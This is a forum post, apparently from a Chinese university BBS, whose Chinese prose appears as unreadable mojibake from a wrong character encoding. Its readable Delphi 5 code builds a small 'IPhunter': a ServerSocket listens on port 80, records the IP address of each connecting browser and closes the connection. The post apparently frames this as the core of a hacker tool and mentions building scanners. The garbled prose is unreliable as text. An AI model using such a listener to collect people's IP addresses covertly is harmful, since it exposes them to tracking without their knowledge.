ÓÐÈË˵ÏÖÔڵijÌÐòÔ±³ÉÁË×é×°¹¤ÈË£¬ÆäʵºÜÓеÀÀí£¬ÀûÓÿؼþÄ£¿é+ÉÙÁ¿´úÂë¾Í¿É
ÒÔʵÏÖ,delphi 5.0Ìṩ
Á˷ḻµÄinternet¿Ø¼þ£¬ÀûÓÃTCP/IP ¿Í»§¶Ë-·þÎñ¶Ë¾Í¿ÉÒÔ½â¾öÎÊÌâ¡£¹Ø¼üµÄ¿Ø¼þ
ÊÇServerSocket,ÎÒÃÇÄ£
·ÂIPhunterµÄ½çÃæÓÃÒ»¸öbutton1£¨°´Å¥£©,Ò»¸öcombobox1£¨ÓÃÓÚÏÔʾ£©£¬ÕâÈý¸ö
×î»ù±¾µÄ¿Ø¼þ·ÅÖõ½¿Õ°×
´°ÌåÉϾͿÉÒÔ¿ªÊ¼Ð´´úÂëÁË ¡£ 
Ê×ÏÈ£¬Õâ¸öcombobox1±ØÐëÄÜÏÔʾ¶à¸öIP,ÎÒÃǶ¨Ò»¸ö±äÁ¿yÀ´ÀÛ¼Ócombobox1.
items[y]£¬ 
var y:integer; 
ÎÒÃǵÄ˼·ÈçÏ£¬µ±ServerSocket»î¶¯µÄport(¶Ë¿Ú£©ÊÕµ½»ùÓÚTCP/IPЭÒéµÄÁ¬½á
ÇëÇóʱºò£¬·µ»Ø¶Ô·½µÄIP
Öµ£¬´«µÝ¸øcomboboxÏÔʾ³öÀ´¡£ÓÉbutton1¿ØÖÆServerSocketµÄ¼¤»î£¬Ò²¾ÍÊÇ´ò¿ª
¹Ø±Õ¶Ë¿Ú¡£ 
ÎÒÃÇÔÚServerSocketµÄOn ClientConnectʼþÖмÓÈëһϴúÂë 
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject; 
Socket: TCustomWinSocket); 
begin 
combobox1.Items.Insert(y,'');//¼ÓÈëÒ»Ìõ¿Õ¼Í¼ 
combobox1.Items[y]:=socket.RemoteAddress;//»ñÈ¡¶Ô·½µÄIP 
label1.Text:='¹²²¶»ñ'+inttostr(y+1)+'¸öIP';//ÓÃÒ»¸ö±êÇ©À´ÏÔʾһ¹²×¥Á˶à
ÉÙIP 
y:=y+1;//¼ÆÊý±äÁ¿¼Ó1 
socket.Close; 
end; 
ÏÖÔÚ£¬½«button1µÄcaptionÊôÐÔÉèÖÃΪ '¿ªÊ¼',ÔÚËüµÄµ¥»÷ʼþÖмÓÈëÒÔÏ´úÂë 

procedure TForm1.SpeedButton7Click(Sender: TObject); 
begin 
if speedbutton7.Caption='¿ªÊ¼' then 
begin 
serversocket11.Port:=80;//Õâ¾ä¿ÉÒÔÔÚserversocketÊôÐÔÖÐÉ趨£¬²¶»ñä¯ÀÀÆ÷µÄ
Á¬½Ó 
ServerSocket11.Active:=true;//¼¤»î¶Ë¿Ú 
speedbutton7.Caption:='Í£Ö¹'; 
end 
else 
begin 
serversocket11.Active:=false;//¹Ø±Õ¶Ë¿Ú 
speedbutton7.Caption:='¿ªÊ¼'; 
combobox1.Clear;//½áÊø²¶»ñ£¬Çå¿ÕÀúÊ·ÐÅÏ¢ 
y:=0;//¼ÆÊý±äÁ¿¸´Î» 
end; 
end; 
ÏÖÔÚÒ»¸öIPhunter»ù±¾¾Í¿ÉÒÔʹÓÃÁË£¬ÕâÖ»ÊǺܼòµ¥Ô­ÐÍ£¬¼ÓÉÏÄú×Ô¼º¾«ÐÄÖÆ×÷µÄ
½çÃ棬¾ÍÊÇÒ»¸öÍøÂç»Ò
¿Í¹¤¾ßÁË£¬Õâ¸ö¹¦ÄÜÒ²¼¯³Éµ½ÁËÁÔ¹ÈËÀïÃ棬ÕâÀï˵µ½µÄÖ»ÊÇServerSocket×î»ù±¾
µÄÒ»µã¹¦ÄܶøÒÑ£¬¼ÓÉÏ
ClientSocket¾Í¿ÉÒÔ×öÒ»¸öÁÄÌ칤¾ß£¬Ö»ÓÃClientSocket¿ÉÒÔ×öÒ»¸öºÍ´úÀíÁÔÊÖÒ»
ÑùµÄɨÃèÈí¼þ¡£ 




 
ºÚ°×µÀ - 21Road.com ÎªÄúËѼ¯Ò»ÇР! 
 

--
   I Believe I can Fly!
          I Believe I can Touch The Sky!
                              <@>                
                               |     
                            ^\ | /^  
                              \|/    

¡ù À´Ô´:¡¤¹þ¹¤´ó×϶¡Ïã bbs.hit.edu.cn¡¤[FROM: 202.118.170.152]
[°Ù±¦Ïä] [·µ»ØÊ×Ò³] [Éϼ¶Ä¿Â¼] [¸ùĿ¼] [·µ»Ø¶¥²¿] [Ë¢ÐÂ] [·µ»Ø]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
Ò³ÃæÖ´ÐÐʱ¼ä£º214.989ºÁÃë